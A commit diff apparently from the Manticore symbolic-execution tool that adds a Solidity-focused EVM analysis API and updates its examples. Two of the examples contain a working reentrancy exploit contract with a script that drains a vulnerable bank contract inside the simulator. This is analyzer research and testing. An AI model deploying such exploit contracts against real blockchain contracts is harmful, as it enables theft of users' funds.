New API for EVM analysis (#551)
* Fixes symbolic reentrancy example * Fix coverage Issue# 527 * Remove debug unused code * New solidity biased API and reporting * Updated examples to new api WIP * simple_mapping FIXED. new api * Simple transaction example added. msg.value can be symbolic now * Reentrancy symbolic now updated to new API + bugfixes
This commit is contained in:
@@ -1,11 +1,8 @@
|
||||
from seth import *
|
||||
|
||||
seth = ManticoreEVM()
|
||||
|
||||
#And now make the contract account to analyze
|
||||
source_code = '''
|
||||
pragma solidity ^0.4.15;
|
||||
|
||||
contract Overflow {
|
||||
event Log(string);
|
||||
uint private sellerBalance=0;
|
||||
@@ -18,29 +15,15 @@ contract Overflow {
|
||||
}
|
||||
}
|
||||
'''
|
||||
|
||||
#Initialize user and contracts
|
||||
user_account = seth.create_account(balance=1000)
|
||||
bytecode = seth.compile(source_code)
|
||||
contract_account = seth.create_contract(owner=user_account,
|
||||
balance=0,
|
||||
init=bytecode)
|
||||
contract_account = seth.solidity_create_contract(source_code, owner=user_account, balance=0)
|
||||
|
||||
#First add wont owerflow uint256 representation
|
||||
symbolic_data = seth.make_function_call('add(uint256)', seth.SValue)
|
||||
seth.transaction( caller=user_account,
|
||||
address=contract_account,
|
||||
value=0,
|
||||
data=symbolic_data,
|
||||
)
|
||||
contract_account.add(seth.SValue)
|
||||
|
||||
#Potential overflow
|
||||
symbolic_data = seth.make_function_call('add(uint256)', seth.SValue)
|
||||
seth.transaction( caller=user_account,
|
||||
address=contract_account,
|
||||
value=0,
|
||||
data=symbolic_data
|
||||
)
|
||||
contract_account.add(seth.SValue)
|
||||
|
||||
|
||||
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
|
||||
|
||||
@@ -9,6 +9,7 @@ source_code = '''
|
||||
pragma solidity ^0.4.13;
|
||||
contract NoDistpatcher {
|
||||
event Log(string);
|
||||
function address(){}
|
||||
function() payable {
|
||||
if (msg.data[0] == 'A') {
|
||||
Log("Got an A");
|
||||
@@ -25,17 +26,12 @@ user_account = seth.create_account(balance=1000)
|
||||
|
||||
|
||||
print "[+] Creating a contract account"
|
||||
bytecode = seth.compile(source_code)
|
||||
#Initialize contract
|
||||
# Note that the initialization argument would have been passed immediatelly
|
||||
# after the init bytecode init=bytecode+pack(parameter)
|
||||
contract_account = seth.create_contract(owner=user_account,
|
||||
init=bytecode)
|
||||
contract_account = seth.solidity_create_contract(source_code, owner=user_account)
|
||||
|
||||
|
||||
|
||||
print "[+] Now the symbolic values"
|
||||
|
||||
symbolic_data = seth.SByte(16)
|
||||
symbolic_data = seth.SByte(320)
|
||||
symbolic_value = None
|
||||
seth.transaction(caller=user_account,
|
||||
address=contract_account,
|
||||
|
||||
@@ -37,16 +37,13 @@ exploit_source_code = '''
|
||||
pragma solidity ^0.4.15;
|
||||
|
||||
contract GenericReentranceExploit {
|
||||
event Log(address);
|
||||
int reentry_reps=10;
|
||||
address vulnerable_contract=0x4141414141414141;
|
||||
address vulnerable_contract;
|
||||
address owner;
|
||||
bytes reentry_attack_string;
|
||||
|
||||
function GenericReentranceExploit(address _vulnerable_contract){
|
||||
vulnerable_contract = _vulnerable_contract;
|
||||
function GenericReentranceExploit(){
|
||||
owner = msg.sender;
|
||||
Log(vulnerable_contract);
|
||||
}
|
||||
|
||||
function set_vulnerable_contract(address _vulnerable_contract){
|
||||
@@ -87,85 +84,52 @@ contract GenericReentranceExploit {
|
||||
//beac44e7: set_vulnerable_contract(address)
|
||||
'''
|
||||
|
||||
contract_bytecode = seth.compile(contract_source_code)
|
||||
exploit_bytecode = seth.compile(exploit_source_code)
|
||||
|
||||
attacker_account = seth.create_account(balance=10)
|
||||
user_account = seth.create_account(balance=1000)
|
||||
contract_account = seth.create_contract(owner=user_account,
|
||||
init=contract_bytecode)
|
||||
#Initialize user and contracts
|
||||
user_account = seth.create_account(balance=100000000000000000)
|
||||
attacker_account = seth.create_account(balance=100000000000000000)
|
||||
|
||||
contract_account = seth.solidity_create_contract(contract_source_code, owner=user_account) #Not payable
|
||||
seth.world[int(contract_account)]['balance']=1000000000000000000 #give it some ether
|
||||
|
||||
exploit_account = seth.solidity_create_contract(exploit_source_code, owner=attacker_account)
|
||||
|
||||
'''
|
||||
c0e317fb addToBalance()
|
||||
f8b2cb4f getBalance(address)
|
||||
5fd8c710 withdrawBalance()'''
|
||||
''
|
||||
print "[+] Setup the exploit"
|
||||
exploit_account.set_vulnerable_contract(contract_account)
|
||||
exploit_account.set_reentry_reps(30)
|
||||
|
||||
|
||||
exploit_account = seth.create_contract(owner=attacker_account,
|
||||
init=exploit_bytecode+seth.pack_msb(contract_account))
|
||||
|
||||
print "\t Setting attack string"
|
||||
|
||||
#'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10',
|
||||
seth.transaction( caller=attacker_account,
|
||||
address=exploit_account,
|
||||
data=seth.make_function_call("set_reentry_attack_string(bytes)", seth.make_function_id('withdrawBalance()')),
|
||||
value=0)
|
||||
reentry_string = seth.make_function_id('withdrawBalance()')
|
||||
exploit_account.set_reentry_attack_string(reentry_string)
|
||||
|
||||
|
||||
print "[+] Initial world state"
|
||||
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
|
||||
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
|
||||
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
|
||||
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
|
||||
print " attacker_account %x balance: %d"% (attacker_account, seth.get_balance(attacker_account))
|
||||
print " exploit_account %x balance: %d"% (exploit_account, seth.get_balance(exploit_account))
|
||||
print " user_account %x balance: %d"% (user_account, seth.get_balance(user_account))
|
||||
print " contract_account %x balance: %d"% (contract_account, seth.get_balance(contract_account))
|
||||
|
||||
|
||||
#User deposits all in contract
|
||||
print "[+] user deposited some."
|
||||
#'\xc0\xe3\x17\xfb'
|
||||
seth.transaction( caller=user_account,
|
||||
address=contract_account,
|
||||
data=seth.make_function_call('addToBalance()'),
|
||||
value=1000)
|
||||
|
||||
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
|
||||
print "[+] There are %d alive states now"% (len(seth.running_state_ids))
|
||||
|
||||
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
|
||||
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
|
||||
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
|
||||
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
|
||||
contract_account.addToBalance(value=100000000000000000)
|
||||
|
||||
|
||||
print "[+] Let attacker deposit some small amount using exploit"
|
||||
#'\x0c\xcf\xac\x9e'+pack_msb(32)+pack_msb(4)+'\xc0\xe3\x17\xfb',
|
||||
seth.transaction( caller=attacker_account,
|
||||
address=exploit_account,
|
||||
data=seth.make_function_call('delegate(bytes)', seth.make_function_id('addToBalance()')),
|
||||
value=5)
|
||||
|
||||
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
|
||||
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
|
||||
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
|
||||
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
|
||||
exploit_account.delegate(seth.make_function_id('addToBalance()'), value=100000000000000000)
|
||||
|
||||
print "[+] Let attacker extract all using exploit"
|
||||
#'\x0c\xcf\xac\x9e'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10'
|
||||
seth.transaction( caller=attacker_account,
|
||||
address=exploit_account,
|
||||
data=seth.make_function_call('delegate(bytes)', seth.make_function_id('withdrawBalance()')),
|
||||
value=0)
|
||||
exploit_account.delegate(seth.make_function_id('withdrawBalance()'))
|
||||
|
||||
print "[+] Let attacker destroy the exploit andprofit"
|
||||
seth.transaction( caller=attacker_account,
|
||||
address=exploit_account,
|
||||
data=seth.make_function_call('get_money()'),
|
||||
value=0)
|
||||
exploit_account.get_money()
|
||||
|
||||
|
||||
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
|
||||
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
|
||||
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
|
||||
print " attacker_account %x balance: %d"% (attacker_account, seth.get_balance(attacker_account))
|
||||
print " user_account %x balance: %d"% (user_account, seth.get_balance(user_account))
|
||||
print " contract_account %x balance: %d"% (contract_account, seth.get_balance(contract_account))
|
||||
|
||||
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
|
||||
for state_id in seth.final_state_ids:
|
||||
|
||||
@@ -37,14 +37,12 @@ exploit_source_code = '''
|
||||
pragma solidity ^0.4.15;
|
||||
|
||||
contract GenericReentranceExploit {
|
||||
event Log(string);
|
||||
int reentry_reps=10;
|
||||
address vulnerable_contract=0x4141414141414141;
|
||||
address vulnerable_contract;
|
||||
address owner;
|
||||
bytes reentry_attack_string;
|
||||
|
||||
function GenericReentranceExploit(address _vulnerable_contract){
|
||||
vulnerable_contract = _vulnerable_contract;
|
||||
function GenericReentranceExploit(){
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
@@ -72,7 +70,6 @@ contract GenericReentranceExploit {
|
||||
function () payable{
|
||||
// reentry_reps is used to execute the attack a number of times
|
||||
// otherwise there is a loop between withdrawBalance and the fallback function
|
||||
Log("Exploit default function!");
|
||||
if (reentry_reps > 0){
|
||||
reentry_reps = reentry_reps - 1;
|
||||
vulnerable_contract.call(reentry_attack_string);
|
||||
@@ -85,79 +82,57 @@ contract GenericReentranceExploit {
|
||||
//9d15fd17: set_reentry_attack_string(bytes)
|
||||
//0d4b1aca: set_reentry_reps(int256)
|
||||
//beac44e7: set_vulnerable_contract(address)
|
||||
|
||||
'''
|
||||
|
||||
contract_bytecode = seth.compile(contract_source_code)
|
||||
exploit_bytecode = seth.compile(exploit_source_code)
|
||||
|
||||
attacker_account = seth.create_account(balance=10)
|
||||
user_account = seth.create_account(balance=1000)
|
||||
#Initialize user and contracts
|
||||
user_account = seth.create_account(balance=100000000000000000)
|
||||
attacker_account = seth.create_account(balance=100000000000000000)
|
||||
contract_account = seth.solidity_create_contract(contract_source_code, owner=user_account) #Not payable
|
||||
exploit_account = seth.solidity_create_contract(exploit_source_code, owner=attacker_account)
|
||||
|
||||
|
||||
contract_account = seth.create_contract(owner=user_account,
|
||||
init=contract_bytecode)
|
||||
|
||||
exploit_account = seth.create_contract(owner=attacker_account,
|
||||
init=exploit_bytecode+seth.pack_msb(contract_account))
|
||||
#User deposits all in contract
|
||||
print "[+] user deposited some."
|
||||
contract_account.addToBalance(value=100000000000000000)
|
||||
|
||||
print "[+] Initial world state"
|
||||
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
|
||||
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
|
||||
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
|
||||
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
|
||||
print " attacker_account %x balance: %d"% (attacker_account, seth.get_balance(attacker_account))
|
||||
print " exploit_account %x balance: %d"% (exploit_account, seth.get_balance(exploit_account))
|
||||
print " user_account %x balance: %d"% (user_account, seth.get_balance(user_account))
|
||||
print " contract_account %x balance: %d"% (contract_account, seth.get_balance(contract_account))
|
||||
|
||||
|
||||
|
||||
print "[+] Setup the exploit"
|
||||
print " Setting attack string to 32 symbolic bytes"
|
||||
seth.transaction( caller=attacker_account,
|
||||
address=exploit_account,
|
||||
data=seth.make_function_call("set_reentry_attack_string(bytes)", seth.SByte(32)),
|
||||
value=0)
|
||||
exploit_account.set_vulnerable_contract(contract_account)
|
||||
|
||||
#User deposits all in contract
|
||||
print "[+] Make the victim user interact with the buggy contract"
|
||||
print " We hope for some funds to be transfered."
|
||||
seth.transaction( caller=user_account,
|
||||
address=contract_account,
|
||||
data=seth.SByte(64),
|
||||
value=1000)
|
||||
print "\t Setting 30 reply reps"
|
||||
exploit_account.set_reentry_reps(30)
|
||||
|
||||
print "[+] Attacker tx1 via exploit contract"
|
||||
seth.transaction( caller=attacker_account,
|
||||
address=exploit_account,
|
||||
data=seth.make_function_call('delegate(bytes)', seth.SByte(64)),
|
||||
value=10)
|
||||
print "\t Setting reply string"
|
||||
exploit_account.set_reentry_attack_string(seth.SByte(4))
|
||||
|
||||
|
||||
print "[+] Attacker tx2 via exploit contract"
|
||||
seth.transaction( caller=attacker_account,
|
||||
address=exploit_account,
|
||||
data=seth.make_function_call('delegate(bytes)', seth.SByte(64)),
|
||||
value=0)
|
||||
#Attacker is
|
||||
print "[+] Attacker first transaction"
|
||||
exploit_account.delegate(seth.SByte(4), value=seth.SValue)
|
||||
|
||||
print "[+] Attacker second transaction"
|
||||
exploit_account.delegate(seth.SByte(4))
|
||||
|
||||
print "[+] Attacker tx3 via exploit contract"
|
||||
seth.transaction( caller=attacker_account,
|
||||
address=exploit_account,
|
||||
data=seth.make_function_call('delegate(bytes)', seth.SByte(64)),
|
||||
value=0)
|
||||
print "[+] The attacker destroys the exploit contract and profit"
|
||||
exploit_account.get_money()
|
||||
|
||||
print "[+] Let attacker destroy the exploit andprofit"
|
||||
seth.transaction( caller=attacker_account,
|
||||
address=exploit_account,
|
||||
data=seth.make_function_call('get_money()'),
|
||||
value=0)
|
||||
#print "[+] There are %d reverted states now"% len(seth.final_state_ids)
|
||||
#for state_id in seth.final_state_ids:
|
||||
# seth.report(state_id)
|
||||
|
||||
#Finish exploration Report on what we found.
|
||||
|
||||
print "[+] There are %d reverted states now. (skiping)"% len(seth.final_state_ids)
|
||||
print "[+] There are %d alive states now"% (len(seth.running_state_ids))
|
||||
for state_id in seth.running_state_ids:
|
||||
seth.report(state_id, ty='SELFDESTRUCT')
|
||||
seth.report(state_id)
|
||||
|
||||
print "[+] Global coverage: %x"% contract_account
|
||||
print seth.coverage(contract_account)
|
||||
print "[+] Global coverage:"
|
||||
print seth.coverage(contract_account, ty='SUICIDE')
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -7,44 +7,59 @@ from manticore.core.state import State
|
||||
import tempfile
|
||||
from subprocess import Popen, PIPE
|
||||
import sha3
|
||||
import json
|
||||
|
||||
solc = "solc"
|
||||
|
||||
def parse_bin(buf):
|
||||
"""
|
||||
Parse the output of solc
|
||||
Return a dict [name: bytecode]
|
||||
"""
|
||||
ret = {}
|
||||
i = 0
|
||||
while i < len(buf):
|
||||
# looks for bytecode
|
||||
if buf[i].startswith('==='):
|
||||
# parse the name of the contract
|
||||
name = buf[i][buf[i].find(':')+1:buf[i].rfind(' =')]
|
||||
# parse the bytecode
|
||||
bytecode = buf[i+2]
|
||||
if len(bytecode) > 4: #avoid empty bytecode
|
||||
bytecode = bytecode.replace('\n', '') # remove '\n'
|
||||
bytecode = bytecode.decode('hex') # convert to hex
|
||||
ret[name] = bytecode
|
||||
i = i+3
|
||||
class EVMContract(object):
|
||||
|
||||
def __init__(self, address, seth=None, default_caller=None):
|
||||
self._default_caller = default_caller
|
||||
self._seth=seth
|
||||
self._address=address
|
||||
self._hashes = {}
|
||||
self._caller = None
|
||||
self._value = 0
|
||||
|
||||
name, source_code, init_bytecode, metadata, metadata_runtime, hashes = self._seth.context['seth']['metadata'][address]
|
||||
for signature in hashes.keys():
|
||||
func_name = str(signature.split('(')[0])
|
||||
self._hashes[func_name] = signature, hashes[signature]
|
||||
|
||||
def __int__(self):
|
||||
return self._address
|
||||
|
||||
@property
|
||||
def address(self):
|
||||
return self._address
|
||||
|
||||
def value(self, value):
|
||||
self._value = value
|
||||
return self
|
||||
|
||||
def caller(self, caller):
|
||||
self._caller = caller
|
||||
return self
|
||||
|
||||
def __getattribute__(self, name):
|
||||
if not name.startswith('_') and name in self._hashes.keys():
|
||||
def f(*args, **kwargs):
|
||||
caller = kwargs.get('caller', self._caller)
|
||||
value = kwargs.get('value', self._value)
|
||||
tx_data = self._seth.make_function_call(str(self._hashes[name][0]),*args)
|
||||
if caller is not None:
|
||||
caller = int(caller)
|
||||
else:
|
||||
caller = self._default_caller
|
||||
self._seth.transaction(caller=caller,
|
||||
address=self._address,
|
||||
value=value,
|
||||
data=tx_data
|
||||
)
|
||||
self._caller = None
|
||||
self._value = 0
|
||||
return f
|
||||
else:
|
||||
i = i+1
|
||||
assert len(ret.values())==1
|
||||
return ret.values()[0]
|
||||
|
||||
def compile_code(source_code):
|
||||
"""
|
||||
Compile a solidity source code
|
||||
Return a list [(contract_name, bytecode)]
|
||||
"""
|
||||
with tempfile.NamedTemporaryFile() as temp:
|
||||
temp.write(source_code)
|
||||
temp.flush()
|
||||
p = Popen([solc, '--bin', temp.name], stdout=PIPE)
|
||||
outp = p.stdout.readlines()
|
||||
return parse_bin(outp)
|
||||
return object.__getattribute__(self, name)
|
||||
|
||||
class ManticoreEVM(Manticore):
|
||||
class SByte():
|
||||
@@ -63,9 +78,9 @@ class ManticoreEVM(Manticore):
|
||||
|
||||
@staticmethod
|
||||
def serialize(value):
|
||||
if isinstance(value, str):
|
||||
if isinstance(value, (str,tuple)):
|
||||
return ManticoreEVM.serialize_string(value)
|
||||
if isinstance(value, list):
|
||||
if isinstance(value, (list)):
|
||||
return ManticoreEVM.serialize_array(value)
|
||||
if isinstance(value, (int, long)):
|
||||
return ManticoreEVM.serialize_uint(value)
|
||||
@@ -87,8 +102,8 @@ class ManticoreEVM(Manticore):
|
||||
|
||||
@staticmethod
|
||||
def serialize_string(value):
|
||||
assert isinstance(value, str)
|
||||
return ManticoreEVM.serialize_uint(len(value))+tuple(value + ('\x00'*(32-(len(value)%32))))
|
||||
assert isinstance(value, (str,tuple))
|
||||
return ManticoreEVM.serialize_uint(len(value)) + tuple(value) + tuple('\x00'*(32-(len(value)%32)))
|
||||
|
||||
@staticmethod
|
||||
def serialize_array(value):
|
||||
@@ -105,14 +120,15 @@ class ManticoreEVM(Manticore):
|
||||
return s.hexdigest()[:8].decode('hex')
|
||||
|
||||
@staticmethod
|
||||
def make_function_call(method_name, *args):
|
||||
function_id = ManticoreEVM.make_function_id(method_name)
|
||||
def check_bitsize(value, size):
|
||||
if isinstance(value, BitVec):
|
||||
return value.size==size
|
||||
return (value & ~((1<<size)-1)) == 0
|
||||
assert len(function_id) == 4
|
||||
result = [tuple(function_id)]
|
||||
def make_function_arguments(*args):
|
||||
|
||||
if len(args) == 0:
|
||||
return ()
|
||||
args = list(args)
|
||||
for i in range(len(args)):
|
||||
if isinstance(args[i], EVMContract):
|
||||
args[i] = int(args[i])
|
||||
result = []
|
||||
dynamic_args = []
|
||||
dynamic_offset = 32*len(args)
|
||||
for arg in args:
|
||||
@@ -127,11 +143,40 @@ class ManticoreEVM(Manticore):
|
||||
|
||||
for arg in dynamic_args:
|
||||
result.append(arg)
|
||||
|
||||
return reduce(lambda x,y: x+y, result)
|
||||
|
||||
@staticmethod
|
||||
def make_function_call(method_name, *args):
|
||||
function_id = ManticoreEVM.make_function_id(method_name)
|
||||
def check_bitsize(value, size):
|
||||
if isinstance(value, BitVec):
|
||||
return value.size==size
|
||||
return (value & ~((1<<size)-1)) == 0
|
||||
assert len(function_id) == 4
|
||||
result = [tuple(function_id)]
|
||||
result.append(ManticoreEVM.make_function_arguments(*args))
|
||||
return reduce(lambda x,y: x+y, result)
|
||||
|
||||
@staticmethod
|
||||
def compile(source_code):
|
||||
return compile_code(source_code)
|
||||
"""
|
||||
Compile a solidity source code
|
||||
"""
|
||||
solc = "solc"
|
||||
with tempfile.NamedTemporaryFile() as temp:
|
||||
temp.write(source_code)
|
||||
temp.flush()
|
||||
p = Popen([solc, '--combined-json', 'srcmap,srcmap-runtime,bin,hashes', temp.name], stdout=PIPE)
|
||||
outp = json.loads(p.stdout.read())
|
||||
assert len(outp['contracts']), "Only one contract by file supported"
|
||||
name, outp = outp['contracts'].items()[0]
|
||||
name = name.split(':')[1]
|
||||
bytecode = outp['bin'].decode('hex')
|
||||
srcmap = outp['srcmap'].split(';')
|
||||
srcmap_runtime = outp['srcmap-runtime'].split(';')
|
||||
hashes = outp['hashes']
|
||||
return name, source_code, bytecode, srcmap, srcmap_runtime, hashes
|
||||
|
||||
def __init__(self):
|
||||
|
||||
@@ -140,21 +185,22 @@ class ManticoreEVM(Manticore):
|
||||
#make the ethereum world state
|
||||
world = evm.EVMWorld(constraints)
|
||||
initial_state = State(constraints, world)
|
||||
initial_state.context['tx'] = []
|
||||
super(ManticoreEVM, self).__init__(initial_state)
|
||||
|
||||
|
||||
#The following should go to manticore.context so we can use multiprocessing
|
||||
self.code = {}
|
||||
self.context['seth'] = {}
|
||||
self.context['seth']['trace'] = []
|
||||
self.context['seth']['metadata'] = {}
|
||||
self.context['seth']['_pending_transaction'] = None
|
||||
self.context['seth']['_saved_states'] = []
|
||||
self.context['seth']['_final_states'] = []
|
||||
|
||||
|
||||
|
||||
self._executor.subscribe('did_load_state', self.load_state_callback)
|
||||
self._executor.subscribe('will_terminate_state', self.terminate_state_callback)
|
||||
self._executor.subscribe('will_execute_instruction', self.will_execute_instruction_callback)
|
||||
self._executor.subscribe('did_execute_instruction', self.did_execute_instruction_callback)
|
||||
self._executor.subscribe('did_read_code', self.did_read_code)
|
||||
self._executor.subscribe('on_symbolic_sha3', self.symbolic_sha3)
|
||||
self._executor.subscribe('on_concrete_sha3', self.concrete_sha3)
|
||||
@@ -178,37 +224,55 @@ class ManticoreEVM(Manticore):
|
||||
with self.locked_context('seth') as context:
|
||||
return context['_final_states']
|
||||
|
||||
def get_world(self, state_id):
|
||||
def get_world(self, state_id=-1):
|
||||
if state_id == -1:
|
||||
return self.initial_state.platform
|
||||
|
||||
state = self._executor._workspace.load_state(state_id, delete=False)
|
||||
return state.platform
|
||||
|
||||
def get_balance(self, address):
|
||||
if isinstance(address, EVMContract):
|
||||
address = int(address)
|
||||
return self.get_world().storage[address]['balance']
|
||||
|
||||
def solidity_create_contract(self, source_code, owner, balance=0, address=None, args=()):
|
||||
name, source_code, init_bytecode, metadata, metadata_runtime, hashes = self.compile(source_code)
|
||||
address = self.create_contract(owner=owner, address=address, balance=balance, init=tuple(init_bytecode)+tuple(ManticoreEVM.make_function_arguments(*args)))
|
||||
self.context['seth']['metadata'][address] = name, source_code, init_bytecode, metadata, metadata_runtime, hashes
|
||||
return EVMContract(address, self, default_caller=owner)
|
||||
|
||||
def create_contract(self, owner, balance=0, init=None, address=None):
|
||||
''' Only available when there is a single state of the world'''
|
||||
with self.locked_context('seth') as context:
|
||||
assert context['_pending_transaction'] is None
|
||||
assert init is not None
|
||||
address = self.world._new_address()
|
||||
if address is None:
|
||||
address = self.world._new_address()
|
||||
self.context['seth']['_pending_transaction'] = ('CREATE_CONTRACT', owner, address, balance, init)
|
||||
|
||||
self.run()
|
||||
|
||||
return address
|
||||
|
||||
def create_account(self, balance=0, address=None):
|
||||
def create_account(self, balance=0, address=None, code=''):
|
||||
''' Only available when there is a single state of the world'''
|
||||
with self.locked_context('seth') as context:
|
||||
assert context['_pending_transaction'] is None
|
||||
return self.world.create_account( address, balance, code='', storage=None)
|
||||
return self.world.create_account( address, balance, code=code, storage=None)
|
||||
|
||||
def transaction(self, caller, address, value, data):
|
||||
if isinstance(address, EVMContract):
|
||||
address = int(address)
|
||||
if isinstance(caller, EVMContract):
|
||||
caller = int(caller)
|
||||
|
||||
|
||||
if isinstance(data, self.SByte):
|
||||
data = (None,)*data.size
|
||||
with self.locked_context('seth') as context:
|
||||
context['_pending_transaction'] = ('CALL', caller, address, value, data)
|
||||
return self.run()
|
||||
return self.run(procs=10)
|
||||
|
||||
def run(self, **kwargs):
|
||||
#Check if there is a pending transaction
|
||||
@@ -225,12 +289,11 @@ class ManticoreEVM(Manticore):
|
||||
|
||||
context['_saved_states'] = []
|
||||
|
||||
#A callback will use _pending_transaction and
|
||||
#issue the transaction in each state
|
||||
#A callback will use _pending_transaction and issue the transaction
|
||||
#in each state (see load_state_callback)
|
||||
result = super(ManticoreEVM, self).run(**kwargs)
|
||||
|
||||
with self.locked_context('seth') as context:
|
||||
|
||||
if len(context['_saved_states'])==1:
|
||||
self._initial_state = self._executor._workspace.load_state(context['_saved_states'][0], delete=True)
|
||||
context['_saved_states'] = []
|
||||
@@ -268,6 +331,7 @@ class ManticoreEVM(Manticore):
|
||||
if ty == 'CREATE_CONTRACT':
|
||||
world = state.platform
|
||||
world.storage[address]['code'] = world.last_return
|
||||
|
||||
self.save(state)
|
||||
e.testcase = False #Do not generate a testcase file
|
||||
else:
|
||||
@@ -287,17 +351,20 @@ class ManticoreEVM(Manticore):
|
||||
state.context['processed'] = True
|
||||
with self.locked_context('seth') as context:
|
||||
ty, caller, address, value, data = context['_pending_transaction']
|
||||
|
||||
txnum = len(state.context['tx'])
|
||||
#Replace any none by symbolic values
|
||||
if value is None:
|
||||
value = state.new_symbolic_value(256, label='value')
|
||||
value = state.new_symbolic_value(256, label='tx%d_value'%txnum)
|
||||
if isinstance (data, tuple):
|
||||
if any( x is None for x in data):
|
||||
symbolic_data = state.new_symbolic_buffer(label='data', nbytes=len(data))
|
||||
symbolic_data = state.new_symbolic_buffer(label='tx%d_data'%txnum, nbytes=len(data))
|
||||
for i in range(len(data)):
|
||||
if data[i] is not None:
|
||||
symbolic_data[i] = data[i]
|
||||
data = symbolic_data
|
||||
state.context['tx'].append((ty, caller, address, value, data))
|
||||
|
||||
|
||||
if ty == 'CALL':
|
||||
world.transaction(address=address, caller=caller, data=data, value=value)
|
||||
else:
|
||||
@@ -311,19 +378,24 @@ class ManticoreEVM(Manticore):
|
||||
with self.locked_context('coverage', set) as coverage:
|
||||
coverage.add((state.platform.current.address, state.platform.current.pc))
|
||||
|
||||
def did_execute_instruction_callback(self, state, prev_pc, pc, instruction):
|
||||
state.context.setdefault('seth.trace',[]).append((state.platform.current.address, pc))
|
||||
|
||||
def did_read_code(self, state, offset, size):
|
||||
with self.locked_context('code_data', set) as code_data:
|
||||
for i in range(offset, offset+size):
|
||||
code_data.add((state.platform.current.address, i))
|
||||
|
||||
|
||||
def report(self, state_id, ty=None):
|
||||
def last_return(self, state_id=-1):
|
||||
if state_id == -1:
|
||||
state = self.initial_state
|
||||
else:
|
||||
state = self._executor._workspace.load_state(state_id, delete=False)
|
||||
e = state.context['last_exception']
|
||||
world = state.platform
|
||||
return state.world.last_return
|
||||
|
||||
|
||||
def report(self, state_id, ty=None):
|
||||
def compare_buffers(a, b):
|
||||
if len(a) != len(b):
|
||||
return False
|
||||
@@ -334,13 +406,76 @@ class ManticoreEVM(Manticore):
|
||||
return False
|
||||
return cond
|
||||
|
||||
if state_id == -1:
|
||||
state = self.initial_state
|
||||
else:
|
||||
state = self._executor._workspace.load_state(state_id, delete=False)
|
||||
|
||||
world = state.platform
|
||||
trace = state.context['seth.trace']
|
||||
last_pc = trace[-1][1]
|
||||
last_address = trace[-1][0]
|
||||
try:
|
||||
md_name, md_source_code, md_init_bytecode, md_metadata, md_metadata_runtime, md_hashes= self.context['seth']['metadata'][last_address]
|
||||
except:
|
||||
md_name, md_source_code, md_init_bytecode, md_metadata, md_metadata_runtime, md_hashes = None,None,None,None,None,None
|
||||
|
||||
|
||||
try:
|
||||
runtime_bytecode = world.storage[last_address]['code']
|
||||
except:
|
||||
runtime_bytecode = ''
|
||||
|
||||
e = state.context['last_exception']
|
||||
if ty is not None:
|
||||
if str(e) != ty:
|
||||
return
|
||||
print "="*20
|
||||
print "REPORT:", e, "\n"
|
||||
print "REPORT:", e,
|
||||
|
||||
print "LOGS:"
|
||||
try:
|
||||
# Magic number comes from here:
|
||||
# http://solidity.readthedocs.io/en/develop/metadata.html#encoding-of-the-metadata-hash-in-the-bytecode
|
||||
asm = list(evm.EVMDecoder.decode_all(runtime_bytecode[:-9-33-2]))
|
||||
asm_offset = 0
|
||||
pos = 0
|
||||
source_pos = md_metadata_runtime[pos]
|
||||
for i in asm:
|
||||
if len(md_metadata_runtime[pos]):
|
||||
source_pos = md_metadata_runtime[pos]
|
||||
if asm_offset == last_pc:
|
||||
break
|
||||
asm_offset += i.size
|
||||
pos +=1
|
||||
|
||||
beg, size = map(int, source_pos.split(':'))
|
||||
|
||||
print " at:"
|
||||
nl = md_source_code.count('\n')
|
||||
snippet = md_source_code[beg:beg+size]
|
||||
for l in snippet.split('\n'):
|
||||
print ' ',nl,' ', l
|
||||
nl+=1
|
||||
except:
|
||||
print
|
||||
|
||||
print "BALANCES"
|
||||
for address, account in world.storage.items():
|
||||
if isinstance(account['balance'], Constant):
|
||||
account['balance'] = account['balance'].value
|
||||
|
||||
if issymbolic(account['balance']):
|
||||
m, M = solver.minmax(world.constraints, arithmetic_simplifier(account['balance']))
|
||||
if m == M:
|
||||
print "\t", hex(address), M
|
||||
else:
|
||||
print "\t", hex(address), "range:[%x, %x]"%(m,M)
|
||||
else:
|
||||
print "\t", hex(address), account['balance'],"wei"
|
||||
|
||||
|
||||
if state.platform.logs:
|
||||
print "LOGS:"
|
||||
for address, memlog, topics in state.platform.logs:
|
||||
try:
|
||||
res = memlog
|
||||
@@ -364,7 +499,6 @@ class ManticoreEVM(Manticore):
|
||||
print e
|
||||
print "\t", address, repr(memlog), topics
|
||||
|
||||
#print state.constraints
|
||||
print "INPUT SYMBOLS"
|
||||
for expr in state.input_symbols:
|
||||
res = state.solve_one(expr)
|
||||
@@ -377,24 +511,84 @@ class ManticoreEVM(Manticore):
|
||||
print "\t %s: %s"%( expr.name, res.encode('hex'))
|
||||
except:
|
||||
print "\t", expr.name+':', res
|
||||
|
||||
